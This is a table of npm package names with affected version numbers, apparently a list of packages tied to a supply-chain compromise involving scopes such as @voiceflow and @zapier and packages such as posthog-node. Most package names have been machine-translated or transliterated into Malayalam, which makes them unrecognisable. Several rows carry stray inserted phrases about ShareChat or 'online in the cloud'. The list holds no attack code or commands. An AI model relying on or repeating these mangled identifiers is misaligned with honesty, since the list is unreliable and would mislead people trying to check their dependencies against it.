| @വോയ്സ്ഫ്ലോ/എസ്ഡികെ-റൺടൈം | 1.43.2, 1.43.1 |
| @voiceflow/secrets-ദാതാവ് | 1.9.3, 1.9.2 |
| @voiceflow/semantic-release-config | 1.4.2, 1.4.1 |
| @വോയ്സ്ഫ്ലോ/സെർവർലെസ്-പ്ലഗിൻ-ടൈപ്പ്സ്ക്രിപ്റ്റ് | 2.1.7, 2.1.8 |
| @വോയ്സ്ഫ്ലോ/സ്ലേറ്റ്-സീരിയലൈസർ | 1.7.4, 1.7.3 |
| @voiceflow/stitches-react | 2.3.3, 2.3.2 |
| @വോയ്സ്ഫ്ലോ/സ്റ്റോറിബുക്ക്-കോൺഫിഗ് | 1.2.2, 1.2.3 |
| @വോയ്സ്ഫ്ലോ/സ്റ്റൈലിന്റ്-കോൺഫിഗ് | 1.1.1, 1.1.2 |
| @voiceflow/test-common | 2.1.1, 2.1.2 |
| @വോയ്സ്ഫ്ലോ/tsconfig | 1.12.2, 1.12.1 |
| @വോയ്സ്ഫ്ലോ/tsconfig-പാത്ത്സ് | 1.1.5, 1.1.4 |
| @voiceflow/utils-ഡിസൈനർ | 1.74.19, 1.74.20 |
| @വോയ്സ്ഫ്ലോ/വെറർ | 1.1.5, 1.1.4 |
| @വോയ്സ്ഫ്ലോ/വൈറ്റ്-കോൺഫിഗ് | 2.6.2, 2.6.3 |
| @വോയ്സ്ഫ്ലോ/വിറ്റെസ്റ്റ്-കോൺഫിഗ് | 1.10.3, 1.10.2 |
| @വോയ്സ്ഫ്ലോ/വോയ്സ്-തരങ്ങൾ | 2.10.59, 2.10.58 |
| @വോയ്സ്ഫ്ലോ/വോയ്സ്ഫ്ലോ-തരങ്ങൾ | 3.32.45, 3.32.46 |
| @വോയ്സ്ഫ്ലോ/വിജറ്റ് | 1.7.18, 1.7.19 |
| @zapier/ai-actions (എഴുത്തുകാരന്) | 0.1.20, 0.1.19, 0.1.18 |
| @സാപിയർ/ബാബൽ-പ്രീസെറ്റ്-സാപിയർ | 6.4.2, 6.4.1, 6.4.3 |
| @zapier/browserslist-config-zapier | 1.0.4, 1.0.3, 1.0.5 |
| @zapier/secret-scrubber | 1.1.5, 1.1.4, 1.1.3 |
| എഐ-ക്രൗൾ-ഷീൽഡ് | 1.0.7 |
| ആർക്ക്-ക്ലൈ-എഫ്സി | 1.0.1 |
| അസിൻകാപ്പി-പ്രിവ്യൂ | 1.0.2, 1.0.1 |
| ആട്രിക്സ് | 1.0.1 |
| ഓട്ടോമേഷൻ_മോഡൽ | 1.0.491 |
| ആക്സിയോസ്-ബിൽഡർ | 1.2.1 |
| ആക്സിയോസ്-റദ്ദാക്കാവുന്നത് | 1.0.2, 1.0.1 |
| ആക്സിയോസ്-ടൈംഡ് | 1.0.2, 1.0.1 |
| ബെയർബോൺസ്-സിഎസ്എസ് | 1.1.4, 1.1.3 |
| ബെൻമോസ്റ്റിൻ-ഫ്രെയിം-പ്രിന്റ് | 1.0.1 |
| മികച്ചജിപിഐഒകണ്ട്രോളർ | 1.0.10 |
| ബൈഡയറക്ഷണൽ-അഡാപ്റ്റർ | 1.2.2, 1.2.4, 1.2.5, 1.2.3 |
| ബ്ലിൻക്യോ-എക്സിക്യൂഷൻസ്-ക്ലൈ | 1.0.41 |
| ബ്ലോബ്-ടു-ബേസ്64 | 1.0.3 |
| ബൺ-പ്ലഗിൻ-httpfile | 0.1.1 |
| ബൈറ്റ്കോഡ്-ചെക്കർ-ക്ലൈ | 1.0.11, 1.0.8, 1.0.9, 1.0.10 |
| ബൈറ്റുകൾ മുതൽ x വരെ | 1.0.1 |
| കാൽക്-ലോൺ-പലിശ | 1.0.4 |
| കപ്പാസിറ്റർ-പ്ലഗിൻ-ആപ്പ് ട്രാക്കിംഗ് | 0.0.21 |
| കപ്പാസിറ്റർ-പ്ലഗിൻ-പർച്ചേസ് | 0.1.1 |
| കപ്പാസിറ്റർ-പ്ലഗിൻ-scgssigninwithgoogle | 0.0.5 |
| കപ്പാസിറ്റർ-വാങ്ങൽ-ചരിത്രം | 0.0.10 |
| കപ്പാസിറ്റർ-വോയ്സ്-റെക്കോർഡർ-wav | 6.0.3 |
| ക്രോം-എക്സ്റ്റൻഷൻ-ഡൗൺലോഡുകൾ | 0.0.3, 0.0.4 |
| ക്ലോഡ്-ടോക്കൺ-അപ്ഡേറ്റർ | 1.0.3 |
| കോയിൻമാർക്കറ്റ്ക്യാപ്-എപിഐ | 3.1.3, 3.1.2 |
| നിറങ്ങൾ-റെജക്സ് | 2.0.1 |
| കമാൻഡ്-ഐറൈൽ | 0.5.4 |
| താരതമ്യം ചെയ്യുക-വസ്തു | 1.1.1, 1.1.2 |
| സംയുക്ത-കുറയ്ക്കുന്നയാൾ | 1.0.4, 1.0.3, 1.0.2, 1.0.5 |
| കണക്കു കൂട്ടുക | 1.0.2, 1.0.1 |
| സിപിയു-നിർദ്ദേശങ്ങൾ | 0.0.14 |
| ക്രിയേറ്റ്-ഡയറക്ടർ-ആപ്പ് | 0.1.1 |
| ക്രിയേറ്റ്-ഗ്ലീ-ആപ്പ് | 0.2.3, 0.2.2 |
| ക്രിയേറ്റ്-ഹാർഡ്ഹാറ്റ്3-ആപ്പ് | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| ക്രിപ്റ്റോ-അഡ്ഡർ-കോഡെക് | 0.1.9 |
| സിഎസ്എസ്-ഡീഡൂപ്പ് | 0.1.2 |
| dashboard-ശൂന്യമായ അവസ്ഥ | 1.0.3 |
| ഡിസൈൻസ്റ്റുഡിയക്സ് | 1.0.1 |
| ഡെവലപ്മെന്റ്-ക്ലൈ | 1.0.6 |
| ഡയലോഗ്ഫ്ലോ-എസ് | 1.1.4, 1.1.3, 1.1.1, 1.1.2 |
| ഡിസ്കോർഡ്-ബോട്ട്-സെർവർ | 0.1.2 |
| ഡോക്യുസോറസ്-പ്ലഗിൻ-വാനില-എക്സ്ട്രാക്റ്റ് | 1.0.3 |
| പോകരുത് | 1.1.2 |
| ഡോട്ട്നെറ്റ്-ടെംപ്ലേറ്റ് | 0.0.3, 0.0.4 |
| ഡ്രോപ്പ്-ഇവന്റ്സ്-ഓൺ-പ്രോപ്പർട്ടി-പ്ലഗിൻ | 0.0.2 |
| ഇമെയിൽ-ഡെലിവറബിലിറ്റി-ടെസ്റ്റർ | 1.1.1 |
| enforce-branch-name | 1.1.3 |
| എസ്ബിൽഡ്-പ്ലഗിൻ-ബ്രോട്ട്ലി | 0.2.1 |
| എസ്ബിൽഡ്-പ്ലഗിൻ-എറ്റ | 0.1.1 |
| esbuild-plugin-httpfile | 0.4.1 |
| എസ്ലിന്റ്-കോൺഫിഗ്-നിറ്റ്പിക്കി | 4.0.1 |
| എസ്ലിന്റ്-കോൺഫിഗ്-ട്രിഗോ | 22.0.2 |
| എസ്ലിന്റ്-കോൺഫിഗ്-സീലാറ്റ്-ബേസ് | 1.0.4 |
| എതെറിയം-എൻഎസ് | 0.8.1 |
| evm-checkcode-cli - | 1.0.15, 1.0.12, 1.0.13, 1.0.14 |
| കൃത്യമായ ടിക്കർ | 0.3.5 |
| എക്സ്പോ-ഓഡിയോ-സെഷൻ | 0.2.1 |
| എക്സ്പ്രസ്സോസ് | 1.1.3 |
| തടിച്ച വിരലുള്ള | 1.0.2, 1.0.1 |
| ഫീച്ചർ-ഫ്ലിപ്പ് | 1.0.2, 1.0.1 |
| ഫയർസ്റ്റോർ-സെർച്ച്-എഞ്ചിൻ | 1.2.3 |
| ഫിറ്റ്ടെക്സ്റ്റ് | 1.0.3, 1.0.2 |
| ഫ്ലാപ്പ്സ്റ്റാക്കുകൾ | 1.0.2, 1.0.1 |
| പരത്തുക-പരത്താത്തത് | 1.0.2, 1.0.1 |
| ഫോർമിക്-എറർ-ഫോക്കസ് | 2.0.1 |
| ഫോർമിക്-സ്റ്റോർ | 1.0.1 |
| ഫസി-ഫൈൻഡർ | 1.0.5, 1.0.6 |
| ഗേറ്റ്-ഇവിഎം-ചെക്ക്-കോഡ്2 | 2.0.3, 2.0.4, 2.0.5, 2.0.6 |
| ഗേറ്റ്-ഇവിഎം-ടൂൾസ്-ടെസ്റ്റ് | 1.0.7, 1.0.8, 1.0.5, 1.0.6 |
| ഗാറ്റ്സ്ബി-പ്ലഗിൻ-സിനാമം | 1.0.2, 1.0.1 |
| ജനറേറ്റർ-മീറ്റിയർ-സ്റ്റോക്ക് | 0.1.6 |
| ജനറേറ്റർ-എൻജി-ഇറ്റോബുസ് | 0.0.15 |
| അവരെ കുറിച്ച് വാദിക്കുക | 1.3.3 |
| ജനറേറ്ററിനുള്ള ഗിത്തബ്-ആക്ഷൻ | 2.1.28, 2.1.27 |
| ഗിറ്റ്സേഫ് | 1.0.5 |
| ഗോ-ടെംപ്ലേറ്റ് | 0.1.8, 0.1.9 |
| ഗൾപ്പ്-ഇൻജക്റ്റ്-എൻവിഎസ് | 1.2.2, 1.2.1 |
| ഹൗഫെ-ആക്സേര-എപിഐ-ക്ലയന്റ് | 0.0.1, 0.0.2 |
| പ്രതീക്ഷ-മാപ്പ്ബോക്സ്ഡ്രോ | 0.1.1 |
| പ്രതീക്ഷ വരയ്ക്കുക | 1.0.3 |
| ഹോവർ-ഡിസൈൻ-പ്രോട്ടോടൈപ്പ് | 0.0.5 |
| httpness - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat | 1.0.3, 1.0.2 |
| ഹൈപ്പർ-ഫുൾഫേസിംഗ് | 1.0.3 |
| ഹൈപ്പർടേം-ഹിപ്സ്റ്റർ | 1.0.7 |
| ഐഡിഎസ്-സിഎസ്എസ് | 1.5.1 |
| ഐഡികൾ-enterprise-എംസിപി-സെർവർ | 0.0.2 |
| ഐഡികൾ-enterprise-ng | 20.1.6 |
| ഐഡികൾ-enterprise-ടൈപ്പിംഗുകൾ | 20.1.6 |
| ഇമേജ്-ടു-യൂറി | 1.0.2, 1.0.1 |
| ഉറക്കമില്ലായ്മ-പ്ലഗിൻ-റാൻഡം-പിക്ക് | 1.0.4 |
| ഇൻവോ | 0.2.2 |
| ഇരുമ്പ്-ഷീൽഡ്-മിനിആപ്പ് | 0.0.2 |
| ഐടോ-ബട്ടൺ | 8.0.3 |
| ഇറ്റോബുസ്-കോണീയ | 0.0.1 |
| ഇറ്റോബുസ്-കോണീയ-ഓഥ് | 8.0.11 |
| ഐറ്റോബുസ്-കോണീയ-ബട്ടൺ | 8.0.11 |
| ജേക്കബ്-സുമ | 1.0.2, 1.0.1 |
| ജെയ്തുട്ട്-വേരിറ്റ്-ടെസ്റ്റ് | 1.0.2 |
| ജാൻ-ബ്രൗസർ | 0.13.1 |
| jquery-ബൈൻഡിംഗുകൾ | 1.1.3, 1.1.2 |
| ജെസൺസർജ് | 1.0.7 |
| വെറും ടോസ്റ്റി | 1.7.1 |
| കിൽ-പോർട്ട് | 2.0.3, 2.0.2 |
| കൊറിയ-അഡ്മിനിസ്ട്രേറ്റീവ്-ഏരിയ-ജിയോ-ജെസൺ-യൂട്ടിലി | 1.0.7 |
| ക്വാമി | 1.5.9, 1.5.10 |
| ലാങ്-കോഡുകൾ | 1.0.2, 1.0.1 |
| ലൈസൻസ്-ഒ-മാറ്റിക് | 1.2.2, 1.2.1 |
| ലിന്റ്-സ്റ്റേജ്ഡ്-ഇമേജ്മിൻ | 1.3.1, 1.3.2 |
| ലൈറ്റ്-സെർപ്പർ-എംസിപി-സെർവർ | 0.2.2 |
| ലൂണോ-എപിഐ | 1.2.3 |
| മാനുവൽ-ബില്ലിംഗ്-സിസ്റ്റം-മിനിആപ്പ്-എപിഐ | 1.3.1 |
| മെഡൂസ-പ്ലഗിൻ-പ്രഖ്യാപനം | 0.0.3 |
| മെഡൂസ-പ്ലഗിൻ-ലോഗുകൾ | 0.0.17 |
| മെഡൂസ-പ്ലഗിൻ-മോമോ | 0.0.68 |
| മെഡൂസ-പ്ലഗിൻ-പ്രൊഡക്റ്റ്-റിവ്യൂസ്-കെവിവൈ | 0.0.4 |
| മെഡൂസ-പ്ലഗിൻ-സലോപേ | 0.0.40 |
| മോഡ്10-ചെക്ക്-അക്കം | 1.0.1 |
| മോൺ-പാക്കേജ്-റിയാക്റ്റ്-ടൈപ്പ്സ്ക്രിപ്റ്റ് | 1.0.1 |
| എന്റെ-സായിദ്-ലിബ് | 0.1.1 |
| n8n-നോഡുകൾ-tmdb | 0.5.1 |
| n8n-നോഡുകൾ-വെർസെൽ-ഐ-എസ്ഡികെ | 0.1.7 |
| n8n-nodes-വൈറൽ-ആപ്പ് | 0.2.5 |
| നാനോ റീസെറ്റ് | 7.0.2, 7.0.1 |
| അടുത്ത വൃത്താകൃതിയിലുള്ള ആശ്രിതത്വം | 1.0.3, 1.0.2 |
| അടുത്ത-ലളിതമായ-ഗൂഗിൾ-അനലിറ്റിക്സ് | 1.1.1, 1.1.2 |
| അടുത്ത-ശൈലിയിലുള്ള-പ്രോഗ്രസ് | 1.0.4, 1.0.5 |
| ngx-ഉപയോഗപ്രദമായ-സ്വൈപ്പർ-പ്രൊസെൻജിത് | 9.0.2 |
| ngx-wooapi (എൻജിഎക്സ്-വൂപി) | 12.0.1 |
| സാധാരണ-സ്റ്റോർ | 1.3.1, 1.3.4, 1.3.3, 1.3.2 |
| ഒബ്ജക്റ്റ്-ടു-സിഎസ്എസ് | 1.0.3, 1.0.2 |
| ഒക്ട-റിയാക്റ്റ്-റൂട്ടർ-6 | 5.0.1 |
| open2internet - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat | 0.1.1 |
| ഓർബിറ്റ്-ബോക്സിക്കണുകൾ | 2.1.3 |
| ഓർബിറ്റ്-നെബുല-ഡ്രോ-ടൂളുകൾ | 1.0.10 |
| ഓർബിറ്റ്-നെബുല-എഡിറ്റർ | 1.0.2 |
| ഓർബിറ്റ്-സോപ്പ് | 0.43.13 |
| ഓർക്കെസ്ട്രിക്സ് | 12.1.2 |
| പാക്കേജ്-ടെസ്റ്റർ | 1.0.1 |
| പാഴ്സൽ-പ്ലഗിൻ-അസറ്റ്-കോപ്പിയർ | 1.1.3, 1.1.2 |
| pdf-അനോട്ടേഷൻ | 0.0.2 |
| പിക്ലൈറ്റ് | 1.0.1 |
| പിക്കോ-യുഐഡി | 1.0.4, 1.0.3 |
| പികെജി-റീഡ്മീ | 1.1.1 |
| പോപ്പർ-റിയാക്റ്റ്-എസ്ഡികെ | 0.1.2 |
| പോസ്റ്റ്ഹോഗ്-ഡോക്കുസോറസ് | 2.0.6 |
| പോസ്റ്റ്ഹോഗ്-ജെഎസ് | 1.297.3 |
| പോസ്റ്റ്ഹോഗ്-നോഡ് | 4.18.1, 5.13.3, 5.11.3 |
| പോസ്റ്റ്ഹോഗ്-പ്ലഗിൻ-ഹലോ-വേൾഡ് | 1.0.1 |
| പോസ്റ്റ്ഹോഗ്-റിയാക്റ്റ്-നേറ്റീവ് | 4.11.1, 4.12.5 |
| പോസ്റ്റ്ഹോഗ്-റിയാക്റ്റ്-നേറ്റീവ്-സെഷൻ-റീപ്ലേ | 1.2.2 |
| പ്രൈം-വൺ-ടേബിൾ | 0.0.19 |
| പ്രോംപ്റ്റ്-ഇംഗ്ലീഷ് | 1.0.50 |
| പുണി-റെക്യു | 1.0.3 |
| ra-auth-firebase (റ-ഓത്ത്-ഫയർബേസ്) | 1.0.3 |
| റാ-ഡാറ്റ-ഫയർബേസ് | 1.0.8, 1.0.7 |
| റിയാക്ട്-കോമ്പോണന്റ്-ടാഗറുകൾ | 0.1.9 |
| റിയാക്ട്-ഡാറ്റ-ടു-എക്സ്പോർട്ട് | 1.0.1 |
| റിയാക്ട്-എലമെന്റ്-പ്രോംപ്റ്റ്-ഇൻസ്പെക്ടർ | 0.1.18 |
| റിയാക്ട്-ഫാവിക് | 1.0.2 |
| റിയാക്ട്-ഹുക്ക്-ഫോം-പെർസിസ്റ്റ് | 3.0.2, 3.0.1 |
| റിയാക്ട്-ജാം-ഐക്കണുകൾ | 1.0.2, 1.0.1 |
| റിയാക്ട്-കീക്ലോക്ക്-കൺടെക്സ്റ്റ് | 1.0.8, 1.0.9 |
| റിയാക്ട്-ലൈബ്രറി-സെറ്റപ്പ് | 0.0.6 |
| റിയാക്ട്-ലീനിയർ-ലോഡർ | 1.0.2 |
| react-micromodal.js - ക്ലൗഡിൽ ഓൺലൈനിൽ | 1.0.2, 1.0.1 |
| react-native-datepicker-modal - ഷെയർചാറ്റ് പൊളിച്ചു - ShareChat | 1.3.1, 1.3.2 |
| റിയാക്ട്-നേറ്റീവ്-ഇമെയിൽ | 2.1.1, 2.1.2 |
| റിയാക്ട്-നേറ്റീവ്-ഫെച്ച് | 2.0.1, 2.0.2 |
| റിയാക്ട്-നേറ്റീവ്-ഗെറ്റ്-പിക്സൽ-ഡൈമൻഷനുകൾ | 1.0.2, 1.0.1 |
| react-native-google-maps-directions-ൽ നിന്ന് എന്താണ് പ്രതീക്ഷിക്കേണ്ടത്? | 2.1.2 |
| റിയാക്ട്-നേറ്റീവ്-ജാം-ഐക്കണുകൾ | 1.0.2, 1.0.1 |
| റിയാക്ട്-നേറ്റീവ്-ലോഗ്-ലെവൽ | 1.2.2, 1.2.1 |
| react-native-modest-ചെക്ക്ബോക്സ് | 3.3.1 |
| റിയാക്ട്-നേറ്റീവ്-മോഡസ്റ്റ്-സ്റ്റോറേജ് | 2.1.1 |
| റിയാക്ട്-നേറ്റീവ്-ഫോൺ-കോൾ | 1.2.2, 1.2.1 |
| റിയാക്ട്-നേറ്റീവ്-റീട്രിയബിൾ-ഫെച്ച് | 2.0.1, 2.0.2 |
| റിയാക്ട്-നേറ്റീവ്-യൂസ്-മോഡൽ | 1.0.3 |
| റിയാക്ട്-നേറ്റീവ്-വ്യൂ-ഫൈൻഡർ | 1.2.2, 1.2.1 |
| റിയാക്ട്-നേറ്റീവ്-വെബ്സോക്കറ്റ് | 1.0.4, 1.0.3 |
| റിയാക്ട്-നേറ്റീവ്-വർക്ക്ലെറ്റ്-ഫംഗ്ഷനുകൾ | 3.3.3 |
| react-qr-image (റിയാക്ട്-ക്യുആർ-ഇമേജ്) | 1.1.1 |
| rediff | 1.0.5 |
| റീഡിഫ്-വ്യൂവർ | 0.0.7 |
| റീഡക്സ്-റൂട്ടർ-കിറ്റ് | 1.2.2, 1.2.4, 1.2.3 |
| റോൾഅപ്പ്-പ്ലഗിൻ-httpfile | 0.2.1 |
| sa-കമ്പനി-രജിസ്ട്രേഷൻ-നമ്പർ-റെജക്സ് | 1.0.2, 1.0.1 |
| സായിദ്-ജെൻ | 1.0.4, 1.0.5 |
| അതേപോലെ തന്നെ | 1.0.3 |
| scgs-കപ്പാസിറ്റർ-സബ്സ്ക്രൈബ് ചെയ്യുക | 1.0.11 |
| scgsffക്രിയേറ്റർ | 1.0.5 |
| സെറ്റ്-നെസ്റ്റഡ്-പ്രോപ്പ് | 2.0.1, 2.0.2 |
| ഷെൽഫ്-ജെഡബ്ല്യുടി-സെഷനുകൾ | 0.1.2 |
| ഷെൽ-എക്സിക് | 1.1.4, 1.1.3 |
| ഷിൻഹാൻ-ലിമിറ്റ്-സ്ക്രാപ്പ് | 1.0.3 |
| കഴിവുകൾ-ഉപയോഗം | 0.1.2, 0.1.1 |
| സോളമൻ-എപി-കഥകൾ | 1.0.2 |
| സോളമൻ-v3-കഥകൾ | 1.15.6 |
| സോളമൻ-v3-ui-റാപ്പർ | 1.6.1 |
| ദൂരം അനുസരിച്ച് അടുക്കുക | 2.0.1 |
| ദക്ഷിണാഫ്രിക്കൻ ഐഡി വിവരങ്ങൾ | 1.0.2 |
| സ്റ്റാറ്റ്-എഫ്എൻഎസ് | 1.0.1 |
| സ്റ്റൂർ | 2.3.2 |
| സൂപ്പർ-commit | 1.0.1 |
| സ്വെൽറ്റ്-ഓട്ടോകംപ്ലീറ്റ്-സെലക്ട് | 1.1.1 |
| സ്വെൽറ്റ്-ടോസ്റ്റി | 1.1.3, 1.1.2 |
| ടാൻസ്റ്റാക്ക്-ഷാഡ്സിഎൻ-ടേബിൾ | 1.1.5 |
| ടിസിഎസ്പി | 2.0.2 |
| ടിസിഎസ്പി-ഡ്രോ-ടെസ്റ്റ് | 1.0.5 |
| ടിസിഎസ്പി-ടെസ്റ്റ്-വിഡി | 2.4.4 |
| ടെംപ്ലേറ്റ്-ലിബ് | 1.1.4, 1.1.3 |
| ടെംപ്ലേറ്റ്-മൈക്രോ-സർവീസ് | 1.0.3, 1.0.2 |
| ടെനേഷ്യസ്-ഫെച്ച് | 2.3.3, 2.3.2 |
| ടെസ്റ്റ്-ഫൗണ്ടറി-ആപ്പ് | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| ടെസ്റ്റ്-ഹാർഡ്ഹാറ്റ്-ആപ്പ് | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| ടെസ്റ്റ്23112222-എപിഐ | 1.0.1 |
| ടിയാൻ | 1.0.2 |
| token.js-fork - ക്ലൗഡിൽ ഓൺലൈനിൽ | 0.7.32 |
| ട്രൈഗോ-റിയാക്റ്റ്-ആപ്പ് | 4.1.2 |
| ടൈപ്പ്ഫെൻസ് | 1.2.2, 1.2.3 |
| ടൈപ്പോർം-ഓർബിറ്റ് | 0.2.27 |
| സുരക്ഷിതമല്ലാത്ത ടൈപ്പ് ചെയ്തത് | 1.0.4, 1.0.3 |
| അപ്ലാൻഡുയി | 0.5.4 |
| പ്ലേ സ്റ്റോറിലേക്ക് അപ്ലോഡ് ചെയ്യുക | 1.0.2, 1.0.1 |
| url-എൻകോഡ്-ഡീകോഡ് | 1.0.2, 1.0.1 |
| സേവ് ചെയ്യാത്ത മാറ്റങ്ങൾ ഉപയോഗിക്കുക | 1.0.9 |
| സാധുവായ-ദക്ഷിണാഫ്രിക്കൻ-ഐഡി | 1.0.3 |
| vf-oss-ടെംപ്ലേറ്റ് | 1.0.4, 1.0.3, 1.0.2, 1.0.1 |
| വിറ്റ്-പ്ലഗിൻ-httpfile | 0.2.1 |
| വ്യൂ-ബ്രൗസർഅപ്ഡേറ്റ്-നക്സ്റ്റ് | 1.0.5 |
| വെബ്-സ്ക്രാപ്പർ-എംസിപി | 1.1.4 |
| വെബ്-ടൈപ്പുകൾ-htmx | 0.1.1 |
| വെബ്-ടൈപ്പ്സ്-ലൈറ്റ് | 0.1.1 |
| വെബ്പാക്ക്-ലോഡർ-httpfile | 0.2.1 |
| വെൽനസ്-എക്സ്പേർട്ട്-എൻജി-ഗാലറി | 5.1.1 |
| വെങ്ക് | 1.0.9, 1.0.10 |
| സാപ്പിയർ-അസിങ്ക്-സ്റ്റോറേജ് | 1.0.3, 1.0.2, 1.0.1 |
| സാപ്പിയർ-പ്ലാറ്റ്ഫോം-ക്ലൈ | 18.0.4, 18.0.3, 18.0.2 |
| സാപ്പിയർ-പ്ലാറ്റ്ഫോം-കോർ | 18.0.4, 18.0.3, 18.0.2 |
| സാപ്പിയർ-പ്ലാറ്റ്ഫോം-സ്കീമ | 18.0.4, 18.0.3, 18.0.2 |
| സാപ്പിയർ-സ്ക്രിപ്റ്റുകൾ | 7.8.3, 7.8.4 |
| സുപ്പർ-ക്ലൈ | 1.0.1 |
| സൂപ്പർ-എസ്ഡികെ | 1.0.57 |
| സൂപ്പർ-സ്ട്രീം | 2.0.9 |







